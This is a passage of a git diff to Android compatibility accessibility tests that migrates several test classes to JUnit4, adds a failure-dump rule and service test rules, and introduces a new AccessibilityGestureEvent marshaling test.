-public class AccessibilityEventTest extends TestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityEventTest {
+
+    @Rule
+    public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
     /**
      * Tests whether accessibility events are correctly written and
      * read from a parcel (version 1).
      */
     @SmallTest
+    @Test
     public void testMarshaling() throws Exception {
         // fully populate the event to marshal
         AccessibilityEvent sentEvent = AccessibilityEvent.obtain();
@@ -58,6 +76,7 @@
      * Tests if {@link AccessibilityEvent} are properly reused.
      */
     @SmallTest
+    @Test
     public void testReuse() {
         AccessibilityEvent firstEvent = AccessibilityEvent.obtain();
         firstEvent.recycle();
@@ -69,6 +88,7 @@
      * Tests if {@link AccessibilityEvent} are properly recycled.
      */
     @SmallTest
+    @Test
     public void testRecycle() {
         // obtain and populate an event
         AccessibilityEvent populatedEvent = AccessibilityEvent.obtain();
@@ -86,6 +106,7 @@
      * Tests whether the event types are correctly converted to strings.
      */
     @SmallTest
+    @Test
     public void testEventTypeToString() {
         assertEquals("TYPE_NOTIFICATION_STATE_CHANGED", AccessibilityEvent.eventTypeToString(
                 AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED));
@@ -123,6 +144,7 @@
      * Tests whether the event describes its contents consistently.
      */
     @SmallTest
+    @Test
     public void testDescribeContents() {
         AccessibilityEvent event = AccessibilityEvent.obtain();
         assertSame("Accessibility events always return 0 for this method.", 0,
@@ -137,6 +159,7 @@
      * read from a parcel (version 2).
      */
     @SmallTest
+    @Test
     public void testMarshaling2() {
         AccessibilityEvent marshaledEvent = AccessibilityEvent.obtain();
         fullyPopulateAccessibilityEvent(marshaledEvent);
@@ -155,6 +178,7 @@
      * can't change the object by changing the objects backing CharSequence
      */
     @SmallTest
+    @Test
     public void testChangeTextAfterSetting_shouldNotAffectEvent() {
         final String originalText = "Cassowary";
         final String newText = "Hornbill";
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityGestureEventTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityGestureEventTest.java
new file mode 100644
index 0000000..abf9be8
--- /dev/null
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityGestureEventTest.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.view.accessibility.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertSame;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibilityservice.AccessibilityGestureEvent;
+import android.accessibilityservice.AccessibilityService;
+import android.os.Parcel;
+import android.platform.test.annotations.Presubmit;
+import android.view.Display;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Class for testing {@link android.accessibilityservice.AccessibilityGestureEvent}.
+ */
+@Presubmit
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityGestureEventTest {
+
+    @Rule
+    public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    private static final int SENT_GESTURE = AccessibilityService.GESTURE_SWIPE_DOWN;
+    private static final int TARGET_DISPLAY = Display.DEFAULT_DISPLAY;
+
+    @SmallTest
+    @Test
+    public void testMarshaling() {
+
+        // Fully populate the gesture info to marshal.
+        AccessibilityGestureEvent sentGestureEvent = new AccessibilityGestureEvent(
+                SENT_GESTURE, TARGET_DISPLAY);
+
+        // Marshal and unmarshal the gesture info.
+        Parcel parcel = Parcel.obtain();
+        sentGestureEvent.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        AccessibilityGestureEvent receivedGestureEvent =
+                AccessibilityGestureEvent.CREATOR.createFromParcel(parcel);
+
+        // Make sure all fields properly marshaled.
+        assertEqualsGestureEvent(sentGestureEvent, receivedGestureEvent);
+
+        parcel.recycle();
+    }
+
+    /**
+     * Tests whether the value of Getter method is as same as the parameter of the constructor.
+     *
+     */
+    @SmallTest
+    @Test
+    public void testGetterMethods() {
+        AccessibilityGestureEvent actualGesture = new AccessibilityGestureEvent(SENT_GESTURE,
+                TARGET_DISPLAY);
+
+        assertEquals("getGestureId is different from parameter of constructor", SENT_GESTURE,
+                actualGesture.getGestureId());
+        assertEquals("getDisplayId is different from parameter of constructor", TARGET_DISPLAY,
+                actualGesture.getDisplayId());
+    }
+
+    /**
+     * Tests whether the gesture describes its contents consistently.
+     */
+    @SmallTest
+    @Test
+    public void testDescribeContents() {
+        AccessibilityGestureEvent event1 = new AccessibilityGestureEvent(SENT_GESTURE,TARGET_DISPLAY);
+        assertSame("accessibility gesture infos always return 0 for this method.", 0,
+                event1.describeContents());
+        AccessibilityGestureEvent event2 = new AccessibilityGestureEvent(
+                AccessibilityService.GESTURE_SWIPE_LEFT, TARGET_DISPLAY);
+        assertSame("accessibility gesture infos always return 0 for this method.", 0,
+                event2.describeContents());
+    }
+
+    private void assertEqualsGestureEvent(AccessibilityGestureEvent sentGestureEvent,
+            AccessibilityGestureEvent receivedGestureEvent) {
+        assertEquals("getDisplayId has incorrectValue", sentGestureEvent.getDisplayId(),
+                receivedGestureEvent.getDisplayId());
+        assertEquals("getGestureId has incorrectValue", sentGestureEvent.getGestureId(),
+                receivedGestureEvent.getGestureId());
+    }
+}
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
index a681baf..274d13c 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
@@ -17,8 +17,8 @@
 package android.view.accessibility.cts;
 
 import static android.accessibility.cts.common.InstrumentedAccessibilityService.TIMEOUT_SERVICE_ENABLE;
-import static android.view.accessibility.cts.ServiceControlUtils.getEnabledServices;
-import static android.view.accessibility.cts.ServiceControlUtils.waitForConditionWithServiceStateChange;
+import static android.accessibility.cts.common.ServiceControlUtils.getEnabledServices;
+import static android.accessibility.cts.common.ServiceControlUtils.waitForConditionWithServiceStateChange;
 
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 
@@ -28,7 +28,9 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.app.Instrumentation;
 import android.app.Service;
@@ -50,9 +52,10 @@
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.SystemUtil;
 
-import org.junit.After;
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
 import java.io.IOException;
@@ -65,6 +68,30 @@
 @RunWith(AndroidJUnit4.class)
 public class AccessibilityManagerTest {
 
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    private InstrumentedAccessibilityServiceTestRule<SpeakingAccessibilityService>
+            mSpeakingAccessibilityServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+                    SpeakingAccessibilityService.class, false);
+
+    private InstrumentedAccessibilityServiceTestRule<VibratingAccessibilityService>
+            mVibratingAccessibilityServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+                    VibratingAccessibilityService.class, false);
+
+    private InstrumentedAccessibilityServiceTestRule<SpeakingAndVibratingAccessibilityService>
+            mSpeakingAndVibratingAccessibilityServiceRule =
+            new InstrumentedAccessibilityServiceTestRule<>(
+                    SpeakingAndVibratingAccessibilityService.class, false);
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mSpeakingAndVibratingAccessibilityServiceRule)
+            .around(mVibratingAccessibilityServiceRule)
+            .around(mSpeakingAccessibilityServiceRule)
+            // Inner rule capture failure and dump data before finishing activity and a11y service
+            .around(mDumpOnFailureRule);
+
     private static final Instrumentation sInstrumentation =
             InstrumentationRegistry.getInstrumentation();
 
@@ -97,12 +124,7 @@
         mHandler = new Handler(mTargetContext.getMainLooper());
         // In case the test runner started a UiAutomation, destroy it to start with a clean slate.
         sInstrumentation.getUiAutomation().destroy();
-        InstrumentedAccessibilityService.disableAllServices(sInstrumentation);
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        InstrumentedAccessibilityService.disableAllServices(sInstrumentation);
+        InstrumentedAccessibilityService.disableAllServices();
     }
 
     @Test
@@ -127,8 +149,8 @@
 
     @Test
     public void testIsTouchExplorationEnabled() throws Exception {
-        SpeakingAccessibilityService.enableSelf(sInstrumentation);
-        VibratingAccessibilityService.enableSelf(sInstrumentation);
+        mSpeakingAccessibilityServiceRule.enableService();
+        mVibratingAccessibilityServiceRule.enableService();
         new PollingCheck() {
             @Override
             protected boolean check() {
@@ -163,8 +185,8 @@
 
     @Test
     public void testGetEnabledAccessibilityServiceList() throws Exception {
-        SpeakingAccessibilityService.enableSelf(sInstrumentation);
-        VibratingAccessibilityService.enableSelf(sInstrumentation);
+        mSpeakingAccessibilityServiceRule.enableService();
+        mVibratingAccessibilityServiceRule.enableService();
         List<AccessibilityServiceInfo> enabledServices =
             mAccessibilityManager.getEnabledAccessibilityServiceList(
                     AccessibilityServiceInfo.FEEDBACK_ALL_MASK);
@@ -189,8 +211,8 @@
 
     @Test
     public void testGetEnabledAccessibilityServiceListForType() throws Exception {
-        SpeakingAccessibilityService.enableSelf(sInstrumentation);
-        VibratingAccessibilityService.enableSelf(sInstrumentation);
+        mSpeakingAccessibilityServiceRule.enableService();
+        mVibratingAccessibilityServiceRule.enableService();
         List<AccessibilityServiceInfo> enabledServices =
             mAccessibilityManager.getEnabledAccessibilityServiceList(
                     AccessibilityServiceInfo.FEEDBACK_SPOKEN);
@@ -209,10 +231,10 @@
 
     @Test
     public void testGetEnabledAccessibilityServiceListForTypes() throws Exception {
-        SpeakingAccessibilityService.enableSelf(sInstrumentation);
-        VibratingAccessibilityService.enableSelf(sInstrumentation);
+        mSpeakingAccessibilityServiceRule.enableService();
+        mVibratingAccessibilityServiceRule.enableService();
         // For this test, also enable a service with multiple feedback types
-        SpeakingAndVibratingAccessibilityService.enableSelf(sInstrumentation);
+        mSpeakingAndVibratingAccessibilityServiceRule.enableService();
 
         List<AccessibilityServiceInfo> enabledServices =
                 mAccessibilityManager.getEnabledAccessibilityServiceList(
@@ -272,8 +294,8 @@
     public void testInterrupt() throws Exception {
         // The APIs are heavily tested in the android.accessibilityservice package.
         // This just makes sure the call does not throw an exception.
-        SpeakingAccessibilityService.enableSelf(sInstrumentation);
-        VibratingAccessibilityService.enableSelf(sInstrumentation);
+        mSpeakingAccessibilityServiceRule.enableService();
+        mVibratingAccessibilityServiceRule.enableService();
         waitForAccessibilityEnabled();
         mAccessibilityManager.interrupt();
     }
@@ -282,8 +304,8 @@
     public void testSendAccessibilityEvent() throws Exception {
         // The APIs are heavily tested in the android.accessibilityservice package.
         // This just makes sure the call does not throw an exception.
-        SpeakingAccessibilityService.enableSelf(sInstrumentation);
-        VibratingAccessibilityService.enableSelf(sInstrumentation);
+        mSpeakingAccessibilityServiceRule.enableService();
+        mVibratingAccessibilityServiceRule.enableService();
         waitForAccessibilityEnabled();
         mAccessibilityManager.sendAccessibilityEvent(AccessibilityEvent.obtain(
                 AccessibilityEvent.TYPE_VIEW_CLICKED));
@@ -301,13 +323,13 @@
             }
         };
         mAccessibilityManager.addTouchExplorationStateChangeListener(listener);
-        SpeakingAccessibilityService.enableSelf(sInstrumentation);
-        VibratingAccessibilityService.enableSelf(sInstrumentation);
+        mSpeakingAccessibilityServiceRule.enableService();
+        mVibratingAccessibilityServiceRule.enableService();
         assertAtomicBooleanBecomes(atomicBoolean, true, waitObject,
                 "Touch exploration state listener not called when services enabled");
         assertTrue("Listener told that touch exploration is enabled, but manager says disabled",
                 mAccessibilityManager.isTouchExplorationEnabled());
-        InstrumentedAccessibilityService.disableAllServices(sInstrumentation);
+        InstrumentedAccessibilityService.disableAllServices();
         assertAtomicBooleanBecomes(atomicBoolean, false, waitObject,
                 "Touch exploration state listener not called when services disabled");
         assertFalse("Listener told that touch exploration is disabled, but manager says it enabled",
@@ -327,13 +349,13 @@
             }
         };
         mAccessibilityManager.addTouchExplorationStateChangeListener(listener, mHandler);
-        SpeakingAccessibilityService.enableSelf(sInstrumentation);
-        VibratingAccessibilityService.enableSelf(sInstrumentation);
+        mSpeakingAccessibilityServiceRule.enableService();
+        mVibratingAccessibilityServiceRule.enableService();
         assertAtomicBooleanBecomes(atomicBoolean, true, waitObject,
                 "Touch exploration state listener not called when services enabled");
         assertTrue("Listener told that touch exploration is enabled, but manager says disabled",
                 mAccessibilityManager.isTouchExplorationEnabled());
-        InstrumentedAccessibilityService.disableAllServices(sInstrumentation);
+        InstrumentedAccessibilityService.disableAllServices();
         assertAtomicBooleanBecomes(atomicBoolean, false, waitObject,
                 "Touch exploration state listener not called when services disabled");
         assertFalse("Listener told that touch exploration is disabled, but manager says it enabled",
@@ -353,12 +375,12 @@
             }
         };
         mAccessibilityManager.addAccessibilityStateChangeListener(listener);
-        SpeakingAndVibratingAccessibilityService.enableSelf(sInstrumentation);
+        mSpeakingAndVibratingAccessibilityServiceRule.enableService();
         assertAtomicBooleanBecomes(atomicBoolean, true, waitObject,
                 "Accessibility state listener not called when services enabled");
         assertTrue("Listener told that accessibility is enabled, but manager says disabled",
                 mAccessibilityManager.isEnabled());
-        InstrumentedAccessibilityService.disableAllServices(sInstrumentation);
+        InstrumentedAccessibilityService.disableAllServices();
         assertAtomicBooleanBecomes(atomicBoolean, false, waitObject,
                 "Accessibility state listener not called when services disabled");
         assertFalse("Listener told that accessibility is disabled, but manager says enabled",
@@ -378,12 +400,12 @@
             }
         };
         mAccessibilityManager.addAccessibilityStateChangeListener(listener, mHandler);
-        SpeakingAndVibratingAccessibilityService.enableSelf(sInstrumentation);
+        mSpeakingAndVibratingAccessibilityServiceRule.enableService();
         assertAtomicBooleanBecomes(atomicBoolean, true, waitObject,
                 "Accessibility state listener not called when services enabled");
         assertTrue("Listener told that accessibility is enabled, but manager says disabled",
                 mAccessibilityManager.isEnabled());
-        InstrumentedAccessibilityService.disableAllServices(sInstrumentation);
+        InstrumentedAccessibilityService.disableAllServices();
         assertAtomicBooleanBecomes(atomicBoolean, false, waitObject,
                 "Accessibility state listener not called when services disabled");
         assertFalse("Listener told that accessibility is disabled, but manager says enabled",
@@ -393,8 +415,8 @@
 
     @Test
     public void testGetRecommendedTimeoutMillis() throws Exception {
-        SpeakingAccessibilityService.enableSelf(sInstrumentation);
-        VibratingAccessibilityService.enableSelf(sInstrumentation);
+        mSpeakingAccessibilityServiceRule.enableService();
+        mVibratingAccessibilityServiceRule.enableService();
         waitForAccessibilityEnabled();
         UiAutomation automan = sInstrumentation.getUiAutomation(
                 UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java
index 0923a92..c48d402 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java
@@ -16,15 +16,26 @@
 
 package android.view.accessibility.cts;
 
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.graphics.Bitmap;
 import android.graphics.Rect;
 import android.graphics.Region;
 import android.os.Bundle;
 import android.os.Parcel;
 import android.platform.test.annotations.Presubmit;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
 import android.text.InputType;
+import android.text.Spannable;
+import android.text.SpannableString;
 import android.text.TextUtils;
+import android.text.style.ImageSpan;
 import android.util.ArrayMap;
 import android.view.View;
 import android.view.accessibility.AccessibilityEvent;
@@ -35,6 +46,13 @@
 import android.view.accessibility.AccessibilityNodeInfo.RangeInfo;
 import android.view.accessibility.AccessibilityNodeInfo.TouchDelegateInfo;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
@@ -43,9 +61,15 @@
  * Class for testing {@link AccessibilityNodeInfo}.
  */
 @Presubmit
-public class AccessibilityNodeInfoTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityNodeInfoTest {
+
+    @Rule
+    public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
 
     @SmallTest
+    @Test
     public void testMarshaling() throws Exception {
         // fully populate the node info to marshal
         AccessibilityNodeInfo sentInfo = AccessibilityNodeInfo.obtain(new View(getContext()));
@@ -67,6 +91,7 @@
      * Tests if {@link AccessibilityNodeInfo}s are properly reused.
      */
     @SmallTest
+    @Test
     public void testReuse() {
         AccessibilityEvent firstInfo = AccessibilityEvent.obtain();
         firstInfo.recycle();
@@ -78,6 +103,7 @@
      * Tests if {@link AccessibilityNodeInfo} are properly recycled.
      */
     @SmallTest
+    @Test
     public void testRecycle() {
         // obtain and populate an node info
         AccessibilityNodeInfo populatedInfo = AccessibilityNodeInfo.obtain();
@@ -95,6 +121,7 @@
      * Tests whether the event describes its contents consistently.
      */
     @SmallTest
+    @Test
     public void testDescribeContents() {
         AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
         assertSame("Accessibility node infos always return 0 for this method.", 0,
@@ -108,6 +135,7 @@
      * Tests whether accessibility actions are properly added.
      */
     @SmallTest
+    @Test
     public void testAddActions() {
         List<AccessibilityAction> customActions = new ArrayList<AccessibilityAction>();
         customActions.add(new AccessibilityAction(AccessibilityNodeInfo.ACTION_FOCUS, "Foo"));
@@ -133,6 +161,7 @@
      * Tests whether we catch addition of an action with invalid id.
      */
     @SmallTest
+    @Test
     public void testCreateInvalidActionId() {
         try {
             new AccessibilityAction(3, null);
@@ -145,6 +174,7 @@
      * Tests whether accessibility actions are properly removed.
      */
     @SmallTest
+    @Test
     public void testRemoveActions() {
         AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
 
@@ -173,6 +203,7 @@
      * can't change the object by changing the objects backing CharSequence
      */
     @SmallTest
+    @Test
     public void testChangeTextAfterSetting_shouldNotAffectInfo() {
         final String originalText = "Cassowaries";
         final String newText = "Hornbill";
@@ -181,6 +212,7 @@
         info.setText(updatingString);
         info.setError(updatingString);
         info.setContentDescription(updatingString);
+        info.setStateDescription(updatingString);
 
         updatingString.delete(0, updatingString.length());
         updatingString.append(newText);
@@ -188,9 +220,31 @@
         assertTrue(TextUtils.equals(originalText, info.getText()));
         assertTrue(TextUtils.equals(originalText, info.getError()));
         assertTrue(TextUtils.equals(originalText, info.getContentDescription()));
+        assertTrue(TextUtils.equals(originalText, info.getStateDescription()));
     }
 
     @SmallTest
+    @Test
+    public void testSetTextWithImageSpan_shouldTextSetToInfo() {
+        final Bitmap bitmap = Bitmap.createBitmap(/* width= */10, /* height= */10,
+                Bitmap.Config.ARGB_8888);
+        final ImageSpan imageSpan = new ImageSpan(getContext(), bitmap);
+        final String testString = "test string";
+        final String replacementString = " ";
+        final SpannableString textWithImageSpan = new SpannableString(testString);
+        final int indexIconStart = testString.indexOf(replacementString);
+        final int indexIconEnd = indexIconStart + replacementString.length();
+        textWithImageSpan.setSpan(imageSpan, /* start= */indexIconStart,/* end= */indexIconEnd,
+                /* flags= */Spannable.SPAN_EXCLUSIVE_EXCLUSIVE);
+
+        AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
+        info.setText(textWithImageSpan);
+
+        assertEquals(testString, info.getText().toString());
+    }
+
+    @SmallTest
+    @Test
     public void testIsHeadingTakesOldApiIntoAccount() {
         final AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
         assertFalse(info.isHeading());
@@ -213,6 +267,7 @@
         info.setBoundsInScreen(new Rect(2,2,2,2));
         info.setClassName("foo.bar.baz.Class");
         info.setContentDescription("content description");
+        info.setStateDescription("state description");
         info.setTooltipText("tooltip");
         info.setPackageName("foo.bar.baz");
         info.setText("text");
@@ -346,6 +401,8 @@
                 receivedInfo.getClassName());
         assertEquals("contentDescription has incorrect value", expectedInfo.getContentDescription(),
                 receivedInfo.getContentDescription());
+        assertEquals("stateDescription has incorrect value", expectedInfo.getStateDescription(),
+                receivedInfo.getStateDescription());
         assertEquals("tooltip text has incorrect value", expectedInfo.getTooltipText(),
                 receivedInfo.getTooltipText());
         assertEquals("packageName has incorrect value", expectedInfo.getPackageName(),
@@ -399,11 +456,11 @@
                 (receivedRange != null));
         if (expectedRange != null) {
             assertEquals("RangeInfo#getCurrent has incorrect value", expectedRange.getCurrent(),
-                    receivedRange.getCurrent());
+                    receivedRange.getCurrent(), 0.0);
             assertEquals("RangeInfo#getMin has incorrect value", expectedRange.getMin(),
-                    receivedRange.getMin());
+                    receivedRange.getMin(), 0.0);
             assertEquals("RangeInfo#getMax has incorrect value", expectedRange.getMax(),
-                    receivedRange.getMax());
+                    receivedRange.getMax(), 0.0);
             assertEquals("RangeInfo#getType has incorrect value", expectedRange.getType(),
                     receivedRange.getType());
         }
@@ -528,6 +585,7 @@
         assertTrue("boundsInScreen not properly recycled", bounds.isEmpty());
         assertNull("className not properly recycled", info.getClassName());
         assertNull("contentDescription not properly recycled", info.getContentDescription());
+        assertNull("stateDescription not properly recycled", info.getStateDescription());
         assertNull("tooltiptext not properly recycled", info.getTooltipText());
         assertNull("packageName not properly recycled", info.getPackageName());
         assertNull("text not properly recycled", info.getText());
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfo_CollectionInfoTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfo_CollectionInfoTest.java
index 98b87fc..cabfd98 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfo_CollectionInfoTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfo_CollectionInfoTest.java
@@ -16,18 +16,34 @@
 
 package android.view.accessibility.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.platform.test.annotations.Presubmit;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
 import android.view.accessibility.AccessibilityNodeInfo.CollectionInfo;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Class for testing {@link CollectionInfo}.
  */
 @Presubmit
-public class AccessibilityNodeInfo_CollectionInfoTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityNodeInfo_CollectionInfoTest  {
+
+    @Rule
+    public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
 
     @SmallTest
+    @Test
     public void testObtain() {
         CollectionInfo c;
 
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfo_RangeInfoTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfo_RangeInfoTest.java
index 4b01129..e7761f4 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfo_RangeInfoTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfo_RangeInfoTest.java
@@ -16,22 +16,36 @@
 
 package android.view.accessibility.cts;
 
+import static org.junit.Assert.assertEquals;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.platform.test.annotations.Presubmit;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
 import android.view.accessibility.AccessibilityNodeInfo;
 import android.view.accessibility.AccessibilityNodeInfo.RangeInfo;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Class for testing {@link AccessibilityNodeInfo.RangeInfo}.
  */
 @Presubmit
-public class AccessibilityNodeInfo_RangeInfoTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityNodeInfo_RangeInfoTest {
 
     /** Allowed tolerance for floating point equality comparisons. */
     public static final float FLOAT_TOLERANCE = 0.001f;
 
+    @Rule
+    public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
     @SmallTest
+    @Test
     public void testObtain() {
         RangeInfo r;
 
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeProviderTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeProviderTest.java
index 0c2a2dd..60bc1a3 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeProviderTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeProviderTest.java
@@ -16,17 +16,33 @@
 
 package android.view.accessibility.cts;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.platform.test.annotations.Presubmit;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
 import android.view.accessibility.AccessibilityNodeProvider;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Class for testing {@link AccessibilityNodeProvider}.
  */
 @Presubmit
-public class AccessibilityNodeProviderTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityNodeProviderTest {
+
+    @Rule
+    public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
     @SmallTest
+    @Test
     public void testDefaultBehavior() {
         AccessibilityNodeProvider p = new AccessibilityNodeProvider() {
             // Class is abstract, but has no abstract methods.
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityRecordTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityRecordTest.java
index 72bb4e0..119de9f 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityRecordTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityRecordTest.java
@@ -16,17 +16,23 @@
 
 package android.view.accessibility.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertSame;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.os.Message;
 import android.platform.test.annotations.Presubmit;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
-import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityRecord;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import junit.framework.TestCase;
 
-import java.lang.reflect.Field;
-import java.lang.reflect.Modifier;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.Iterator;
 import java.util.List;
 
@@ -34,11 +40,18 @@
  * Class for testing {@link AccessibilityRecord}.
  */
 @Presubmit
-public class AccessibilityRecordTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityRecordTest {
+
+    @Rule
+    public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
     /**
      * Tests the cloning obtain method.
      */
     @SmallTest
+    @Test
     public void testObtain() {
         AccessibilityRecord originalRecord = AccessibilityRecord.obtain();
         fullyPopulateAccessibilityRecord(originalRecord);
@@ -50,6 +63,7 @@
     * Tests if {@link AccessibilityRecord}s are properly recycled.
     */
    @SmallTest
+   @Test
    public void testRecycle() {
        // obtain and populate an event
        AccessibilityRecord populatedRecord = AccessibilityRecord.obtain();
@@ -84,10 +98,10 @@
        TestCase.assertEquals("removedCount not properly recycled", -1, record.getRemovedCount());
        TestCase.assertTrue("text not properly recycled", record.getText().isEmpty());
        TestCase.assertFalse("scrollable not properly recycled", record.isScrollable());
-       TestCase.assertSame("maxScrollX not properly recycled", -1, record.getMaxScrollX());
-       TestCase.assertSame("maxScrollY not properly recycled", -1, record.getMaxScrollY());
-       TestCase.assertSame("scrollX not properly recycled", -1, record.getScrollX());
-       TestCase.assertSame("scrollY not properly recycled", -1, record.getScrollY());
+       TestCase.assertSame("maxScrollX not properly recycled", 0, record.getMaxScrollX());
+       TestCase.assertSame("maxScrollY not properly recycled", 0, record.getMaxScrollY());
+       TestCase.assertSame("scrollX not properly recycled", 0, record.getScrollX());
+       TestCase.assertSame("scrollY not properly recycled", 0, record.getScrollY());
